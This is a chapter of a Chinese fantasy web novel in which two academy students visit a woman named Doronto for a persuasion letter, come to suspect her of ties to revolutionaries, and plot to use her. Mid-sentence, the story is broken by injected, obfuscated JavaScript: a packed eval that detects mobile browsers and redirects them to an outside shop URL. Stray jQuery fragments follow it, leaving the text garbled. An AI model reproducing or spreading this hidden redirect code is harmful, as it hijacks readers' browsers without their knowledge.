聊得心满意足,商人老板终于想起了自己的本职。掀开帘子进了工作室,药剂混合起效的声音忽大忽小,偶尔还有紫色的雾气吹起帘子。
格莉特和索菲亚坐在一旁看着门外行色匆匆的行人与士兵,阳光慢慢倾斜,最终定格在了大门碰不到的地方。
“大功告成!”
完全看不出损坏过的法杖被一段麻布包起来送到索菲亚手中,格莉特付过钱,吹捧了一番商人老板高超的技艺后,正要和索菲亚出去,商人老板叫住了她们。
“等等!姑娘们!回到华尔街之后,不要问自己不该问的事情,也不要看自己不该看的东西,避开那间发生了刺杀的店铺,如果有人想让你们加入革命军也千万别答应!”
他的目光中透露着自嘲与无奈:“虽然我发自内心地支持革命军的所作所为,但我终究是个自私自利的俗人。他们的风险我承担不起,我也不会想你们去承担。”
“无论葛丽迪亚是否改朝换代,我依旧每天都要经营自己的店铺,你们也依旧会在人人向往的霍里兰卡学院里学习。”
“一切都不会变,唯有败者会失去头颅。”
他看向停在门口听他讲话的两人,眼中流露出用心良苦的劝诫:“你们应该懂得珍稀自己的前程。”
——他是真心实意地站在她们的立场为她们着想的。
格莉特和索菲亚对视一眼,齐齐说了声谢谢。
“由衷感谢您的忠告,这些话我们都记住了。这种随时都可能掉脑袋的事情我们可不会参加,自己的小命得自己来守护,不是吗?”
“你们说得对。”他欣慰地点点头。
推开门,清脆的铃铛声响起,格莉特回头再次与满脸微笑的商人老板道别,走出了这家店。
战后的狼藉遍布在这条街上。
原本繁荣的街道只剩寥寥几人,吉普赛人审时度势地钻进了帐篷里,比之前多了几倍的士兵到处巡逻,连格莉特二人出店都被审视了好几眼,直到发现与革命军彻底无关才挪开了视线。
散发着铁锈味儿的鲜血依旧残留在地上,几只乌鸦闻着味道飞来,站在被残阳照得更加鲜红的血液上,一蹦一跳地寻找着可以食用的晚餐。
那几位依然被征了税的商人正提着桶跪在地上勤勉地刷着还未干涸的血迹,监工的士兵时不时踹他们一脚,催促他们动作快点。
经过他们时,二人听到了那位士兵训斥的话:
“给我刷快点儿!要是中尉到时还没恢复原样,你们就等着被毙掉喂狗吧!要怪就怪那群该死的革命军!要不是他们乱来,你们也不用受这份苦!”
经典的矛盾转移。
装作没听到地走过,索菲亚看到那些人手中被血液浸得猩红的抹布,不忍直视地转过了头。
多伦多·米狄的住处在一英里之外的普索街。
她们到达那已经六点过十分了,前方距离大约一公里的拐角,一家装修得颇有情调的酒馆坐落在那。
半开的门扉传来吟游诗人若隐若现的弹唱,醇厚的酒香即便隔了这么远的距离也能飘到她们的鼻子里。一些人带着轻松的笑容走了进去,也有喝得醉醺醺的人踉踉跄跄地出来,持续的嘈杂昭示着它生意的火热。
格莉特看向索菲亚,“我们先去她家看看吧。”
“好。”
照着地址走到一栋有两层楼的旧木屋,她敲了敲门,没一会儿,有人来开门了。
是一位体态丰腴的中年女士。
她穿着剪裁合身的长裤长袖,平底布鞋,腰间系了一根灰色的长绳,又浓又黑的头发悉数盘到脑后,鼻尖稍微下勾,一双细眼精明又不令人反感,嘴唇润红,看到二人的瞬间将她们不动声色地打量了个遍。
视线在格莉特的脚上停留了一秒,这位女士露出了一个和善热情的微笑,语气亲近道:
“哦,我亲爱的小甜心们,我不记得我见过你们,请问找我有什么事吗?若是我能帮忙,一定会倾力相助的。”
索菲亚问:“实在是抱歉打扰了,请问您是多伦多·米狄女士吗?”
她坦然承认:“对,多伦多就是我。”
见索菲亚还要说话,她做了个“嘘”的动作,侧身邀请道:“主人可没有让客人们站在门口说话的道理。两位小甜心,我们进来说吧。”
“感谢您的谅解。”
进入这间小木屋,布置温馨是给她们的第一印象。
一个烧着浓汤的壁炉装在墙壁表面,堆着衣服的床边摆着小型书架,冒着热气的茶壶放在桌子上,旁边还有一本翻开的书。
应该没读多久就起来给她们开门了。
两人分别落座,多伦多给她们倒了杯茶,闻着有股特别的清香,就算是讨厌喝茶的格莉特也被勾得端起杯子喝了一口。
“火候怎么样?”
“控制得刚好!女士!”
“那就好。”多伦多笑眯眯地说着,等她们神态完全放松下来才问道:“所以,两位来自霍里兰卡的小甜心,你们到底找我什么事?”
格莉特放下茶,问:“女士,您还记得阿勒克托·萨姆斯吗?”
多伦多神情不变,“当然!萨姆斯家的小少爷可是众人皆知的名人,我还在他小时候抱过他呢!现在应该已经长成了一位翩翩公子吧!真怀念那时候啊。”
“那么,能否请您为我们写一封劝说信呢?”
格莉特请求她:“我们正在参与霍里兰卡学院的年度大赛,进入决赛已经是板上钉钉的事了,但其中一位队友因为某些原因要退出比赛,于是我们想让阿勒克托加入,这也能大大提升我们夺冠的概率。”
多伦多又笑了,“小甜心们,我猜你们已经被他拒绝过一次,所以才想到了我吧?”
“但很遗憾,虽然我是他的长辈,但整个萨姆斯家族的性子都是出了名的倔,他们不想做的事情,就算是国王出面也休想让他们屈服。”
“不过,为了不让你们白跑一趟,我愿意写一封劝说信交予你们,成功与否就不是我能预料的了。”
“哦!谢谢您女士,您可真好心!”
咽下刚要说的条件,格莉特道:“假如我们夺得了冠军,作为奖金的十万金币也势必有您的一份。”
“那我可每天都要向塞伦涅祈祷了!”她对二人俏皮地眨了眨眼。
起身去拿纸和笔,多伦多让格莉特她们先喝茶,自己则当着她们的面在桌上写了起来。
壁炉里的柴火劈里啪啦地响,过程中,索菲亚率先喝完了茶,把杯子放了回去。
见杯子被放在桌子上,多伦多抬头对她笑笑,主动拿起杯子去壁炉旁又倒了一杯。
芬芳的茶香忽然消失,索菲亚原本享受的表情一变,下意识地转头看向格莉特。
还没等她去扯格莉特的袖子,那边多伦多已经倒完茶走过来了。
“请慢用。”
索菲亚微微低头,眼神被反光的厚镜片所遮掩,只有露出的嘴唇往上扬了扬,“谢谢。”
“对了,刚才聊得太开心,忘记问你们的名字了,请问两位分别是?”
格莉特放下茶:“我叫格莉特·莱恩,她是索菲亚·柯力德,我们都是年度大赛的参赛者。”
“多么优美的名字,你们的父母真会起名。”
多伦多笑着夸赞,弯腰继续在纸上写字。
等索菲亚的第二杯茶喝完,她的那封信也完成了。
把封好的信交到格莉特手中,多伦多送二人到门口,询问她们需不需要烛灯。
“谢谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954535|147625||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
您,女士。但我们是法师,照明术会替我们开路的。”
“瞧,我竟然把这茬给忘了!”
她佯装懊恼地拍拍自己的额头,马上又恢复了笑容:“路上小心,我会等你们的好消息的!”
“祝您有个好梦。”
“你们也是。”
门被关上,格莉特看了看头顶的漫天繁星,正要和索菲亚说今晚的夜色不错,对方却异常安静地沉默不语。
“索菲亚,怎么了?”她问。
索菲亚抬起头,脸上是遇到无法预测的暴风雨的不安。
“格莉特,我在多伦多身上闻到了血的味道。”
心中一惊,格莉特的脸色迅速凝重起来,问:“你确实不是错觉吗?”
“我确定不是错觉。”
她笃定地说:“我从小就对血的味道特别敏感,包括今天在魔法商店的时候,我也是因为血腥味太重,才会感到不舒服。”
“格莉特,相信我。”
“所以,你是在想......”
“没错,多伦多会是革命军的一员吗?”
格莉特若有所思地看了一眼街上举着火把巡逻的士兵们,“如果她还对路易国王的屠杀怀恨在心的话。”
突然,一个绝妙的想法在她脑中灵光乍现。
她猛地抓住要往前走的索菲亚,在对方疑惑的眼光下小声道:“或许,你想升官发财吗?”
索菲亚依旧很疑惑,“格莉特,你想说什么?”
“回答是或否就行了。”
索菲亚不好意思地用食指挠了挠脸:“......答案当然是是。”
“那就好办了。”
黑夜中,格莉特的双眼亮得惊人:“你听我说,还记得年度大赛的奖励有进王宫觐见国王这件事吗?”
“我是说,如果,假如我们能利用这个条件,为想要推翻路易国王的革命军在王宫悄悄做点事,你说痛恨路易国王的阿勒克托会不会帮助我们?我敢打赌,他百分之百不会拒绝。”
索菲亚越听心越惊,一脸不可思议地看着格莉特,仿佛那么久以来第一次认识她,“格莉特,你、你是在看开玩笑吗?这可是协助叛乱!?被发现了都会死的!”
“我当然不会傻到这种地步。”
在索菲亚松了一口气的时候,她又说:“我只是做一些不易让人发现的小事而已。”
“格莉特!!”
“嘘!小声点!”她踮起脚捂住索菲亚的嘴巴,低声道:“你要是再大声点,我们现在就能上断头台了。”
“......哦,对不起。”索菲亚垂下了头,“我只是想劝你别做傻事。”
“我明白你的心情,但是,人生不就是这样吗?风险与机遇同在。”
格莉特揉了揉她的一头卷毛,“别担心,我从不做没把握的事,相信我,我们不会被发现的。”
索菲亚看着她的眼睛,心中的天枰与之前一样,还是不可抑制地向她那边倾斜了:“......那,好吧。”
“塞伦涅会庇佑我们的。”
说服自己的女友,格莉特开始向她解释自己的计划。
“听着,待会儿我去多伦多的屋子,你就躲在外面,要是我过半个小时还没出来,你就去通知周围的士兵,说有霍里兰卡的学生遭到了革命军的毒手,他们会对这件事感兴趣的,知道了吗?”
索菲亚依旧忧心忡忡,“可是你的安全呢?”
“放心吧,我会没事的。”格莉特对她笑了笑,“你保护好自己就行了,毕竟谁也说不准附近会不会有潜伏的革命军。”
“好,我记住了。”
让索菲亚躲在巡逻士兵多的地方,格莉特重新回到多伦多的屋前,深吸一口气,抬手敲响了门。